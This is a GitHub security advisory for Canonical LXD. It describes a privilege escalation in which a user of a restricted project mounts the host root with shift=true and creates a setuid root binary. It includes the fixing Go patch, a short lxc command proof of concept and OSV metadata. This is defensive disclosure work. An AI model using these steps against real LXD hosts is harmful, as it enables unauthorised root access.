GHSA-X9QQ-236J-GJ97
Vulnerability from github – Published: 2023-12-05 23:32 – Updated: 2025-07-22 14:57Summary
If a user has restricted access to a project that is configured with restricted=true, they can gain root access on the system by creating a disk device with shift=true and creating a setuid root executable. This is possible because the shift property is not restricted unless restricted.devices.disk.paths is set.
Details
The following patch shows the offending code with a possible fix:
--- a/lxd/device/disk.go
+++ b/lxd/device/disk.go
@@ -429,17 +429,19 @@ func (d *disk) validateEnvironmentSourcePath() error {
if instProject.Name != api.ProjectDefaultName {
// If restricted disk paths are in force, then check the disk's source is allowed, and record the
// allowed parent path for later user during device start up sequence.
- if shared.IsTrue(instProject.Config["restricted"]) && instProject.Config["restricted.devices.disk.paths"] != "" {
- allowed, restrictedParentSourcePath := project.CheckRestrictedDevicesDiskPaths(instProject.Config, d.config["source"])
- if !allowed {
- return fmt.Errorf("Disk source path %q not allowed by project for disk %q", d.config["source"], d.name)
+ if shared.IsTrue(instProject.Config["restricted"]) {
+ if instProject.Config["restricted.devices.disk.paths"] != "" {
+ allowed, restrictedParentSourcePath := project.CheckRestrictedDevicesDiskPaths(instProject.Config, d.config["source"])
+ if !allowed {
+ return fmt.Errorf("Disk source path %q not allowed by project for disk %q", d.config["source"], d.name)
+ }
+
+ d.restrictedParentSourcePath = shared.HostPath(restrictedParentSourcePath)
}
if shared.IsTrue(d.config["shift"]) {
return fmt.Errorf(`The "shift" property cannot be used with a restricted source path`)
}
-
- d.restrictedParentSourcePath = shared.HostPath(restrictedParentSourcePath)
}
}
PoC
$ lxc project create restricted -c restricted=true -c restricted.devices.disk=allow
$ lxc project switch restricted
$ lxc profile device add default root disk path=/ pool=default
$ lxc init ubuntu:22.04 c1
$ lxc config device add c1 d1 disk source=/ path=/mnt shift=true
$ lxc start c1 # no error
$ lxc project set restricted restricted.devices.disk.paths=/ # explicitly allow mounting /
$ lxc restart c1
Error: Failed to start device "d1": The "shift" property cannot be used with a restricted source path
Created https://github.com/canonical/lxd/issues/12606 to improve the documentation as per https://github.com/canonical/lxd/security/advisories/GHSA-x9qq-236j-gj97#advisory-comment-91918
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/canonical/lxd"
},
"ranges": [
{
"events": [
{
"introduced": "5.19.0"
},
{
"fixed": "5.20.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"5.19.0"
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/canonical/lxd"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.0-20230920084527-cbe39c5d3f14"
},
{
"fixed": "0.0.0-20240118092008-ce1bd0dd37bb"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [],
"github_reviewed": true,
"github_reviewed_at": "2023-12-05T23:32:58Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n\nIf a user has restricted access to a project that is configured with `restricted=true`, they can gain root access on the system by creating a disk device with `shift=true` and creating a setuid root executable. This is possible because the `shift` property is not restricted unless `restricted.devices.disk.paths` is set.\n\n### Details\n\nThe following patch shows the offending code with a possible fix:\n```patch\n--- a/lxd/device/disk.go\n+++ b/lxd/device/disk.go\n@@ -429,17 +429,19 @@ func (d *disk) validateEnvironmentSourcePath() error {\n if instProject.Name != api.ProjectDefaultName {\n // If restricted disk paths are in force, then check the disk\u0027s source is allowed, and record the\n // allowed parent path for later user during device start up sequence.\n- if shared.IsTrue(instProject.Config[\"restricted\"]) \u0026\u0026 instProject.Config[\"restricted.devices.disk.paths\"] != \"\" {\n- allowed, restrictedParentSourcePath := project.CheckRestrictedDevicesDiskPaths(instProject.Config, d.config[\"source\"])\n- if !allowed {\n- return fmt.Errorf(\"Disk source path %q not allowed by project for disk %q\", d.config[\"source\"], d.name)\n+ if shared.IsTrue(instProject.Config[\"restricted\"]) {\n+ if instProject.Config[\"restricted.devices.disk.paths\"] != \"\" {\n+ allowed, restrictedParentSourcePath := project.CheckRestrictedDevicesDiskPaths(instProject.Config, d.config[\"source\"])\n+ if !allowed {\n+ return fmt.Errorf(\"Disk source path %q not allowed by project for disk %q\", d.config[\"source\"], d.name)\n+ }\n+\n+ d.restrictedParentSourcePath = shared.HostPath(restrictedParentSourcePath)\n }\n\n if shared.IsTrue(d.config[\"shift\"]) {\n return fmt.Errorf(`The \"shift\" property cannot be used with a restricted source path`)\n }\n-\n- d.restrictedParentSourcePath = shared.HostPath(restrictedParentSourcePath)\n }\n }\n```\n\n### PoC\n\n```bash\n$ lxc project create restricted -c restricted=true -c restricted.devices.disk=allow\n$ lxc project switch restricted\n$ lxc profile device add default root disk path=/ pool=default\n$ lxc init ubuntu:22.04 c1\n$ lxc config device add c1 d1 disk source=/ path=/mnt shift=true\n$ lxc start c1 # no error\n\n$ lxc project set restricted restricted.devices.disk.paths=/ # explicitly allow mounting /\n$ lxc restart c1\nError: Failed to start device \"d1\": The \"shift\" property cannot be used with a restricted source path\n```\n\nCreated https://github.com/canonical/lxd/issues/12606 to improve the documentation as per https://github.com/canonical/lxd/security/advisories/GHSA-x9qq-236j-gj97#advisory-comment-91918",
"id": "GHSA-x9qq-236j-gj97",
"modified": "2025-07-22T14:57:33Z",
"published": "2023-12-05T23:32:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/security/advisories/GHSA-x9qq-236j-gj97"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/issues/12606"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/ce1bd0dd37bb3810fe6f16c237a4b65257f231f1"
},
{
"type": "PACKAGE",
"url": "https://github.com/canonical/lxd"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Canonical LXD documentation improvement to make clear restricted.devices.disk=allow without restricted.devices.disk.paths also allows shift=true"
}
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